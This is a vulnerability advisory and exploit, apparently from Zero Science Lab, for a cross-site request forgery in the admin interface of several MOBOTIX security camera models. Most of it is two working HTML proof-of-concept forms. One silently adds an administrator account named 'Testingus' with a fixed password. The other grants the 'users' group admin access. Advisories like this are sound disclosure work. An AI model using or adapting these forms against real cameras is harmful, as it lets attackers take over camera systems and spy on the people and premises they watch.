MOBOTIX Video Security Cameras – Cross-Site Request Forgery (Add Admin)
<!-- MOBOTIX Video Security Cameras CSRF Add Admin Exploit Vendor: MOBOTIX AG Product web page: https://www.mobotix.com Affected version: [Model]: D22M-Secure, [HW]: T2r1.1.AA, 520 MHz, 128 MByte RAM, [SW]: MX-V3.5.2.23.r3 [Model]: Q24M-Secure, [HW]: T2r3.1, 806 MHz, [SW]: MX-V4.1.10.28 [Model]: D14D-Secure, [HW]: T2r4.2b, 806 MHz, 256 MByte RAM, [SW]: MX-V4.1.4.70 [Model]: M15D-Secure, [HW]: T3r4.4, 806 MHz, [SW]: MX-V4.3.4.50 Summary: MOBOTIX is a German System Manufacturer of Professional Video Management (VMS) and Smart IP Cameras. These cameras support all standard features of MOBOTIX IP cameras like automatic object detection, messaging via network and onboard or network recording. The dual lens thermal system supports additionally a second optical video sensor with 6-megapixel resolution. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Linux 2.6.37.6+ thttpd/2.19-MX Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5312 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5312.php 25.02.2016 --> Add admin user Testingus: ------------------------- <html> <body> <form action="http://10.0.0.17/admin/access" method="POST"> <input type="hidden" name="user_name_0" value="admin" /> <input type="hidden" name="user_group_0" value="admins" /> <input type="hidden" name="user_passwd_a_0" value="***" /> <input type="hidden" name="user_passwd_b_0" value="***" /> <input type="hidden" name="user_name_2" value="Testingus" /> <input type="hidden" name="user_group_1" value="admins" /> <input type="hidden" name="user_passwd_a_2" value="l33tp4ss" /> <input type="hidden" name="user_passwd_b_2" value="l33tp4ss" /> <input type="hidden" name="sv_passwd_a" value="" /> <input type="hidden" name="sv_passwd_b" value="" /> <input type="hidden" name="super_pin_1" value="" /> <input type="hidden" name="super_pin_2" value="" /> <input type="hidden" name="save_config" value="Set" /> <input type="submit" value="Submit" /> </form> </body> </html> Add group 'users' to admin area: -------------------------------- <html> <body> <form action="http://10.0.0.17/admin/acl" method="POST"> <input type="hidden" name="group_allow_guest_global" value="on" /> <input type="hidden" name="group_allow_live_global" value="on" /> <input type="hidden" name="group_allow_player_global" value="on" /> <input type="hidden" name="group_allow_multiview_global" value="on" /> <input type="hidden" name="group_allow_pda_global" value="on" /> <input type="hidden" name="group_allow_mxcc_global" value="on" /> <input type="hidden" name="group_allow_info_global" value="on" /> <input type="hidden" name="group_allow_imagelink_global" value="on" /> <input type="hidden" name="group_allow_api_global" value="on" /> <input type="hidden" name="group_allow_image_setup_0" value="on" /> <input type="hidden" name="group_allow_event_setup_0" value="on" /> <input type="hidden" name="group_name_1" value="guests" /> <input type="hidden" name="group_name_2" value="users" /> <input type="hidden" name="group_allow_admin_2" value="on" /> <input type="hidden" name="group_allow_image_setup_2" value="on" /> <input type="hidden" name="group_allow_event_setup_2" value="on" /> <input type="hidden" name="new_group" value="" /> <input type="hidden" name="save_config" value="Set" /> <input type="hidden" name="more_or_less" value="less" /> <input type="submit" value="Submit" /> </form> </body> </html> |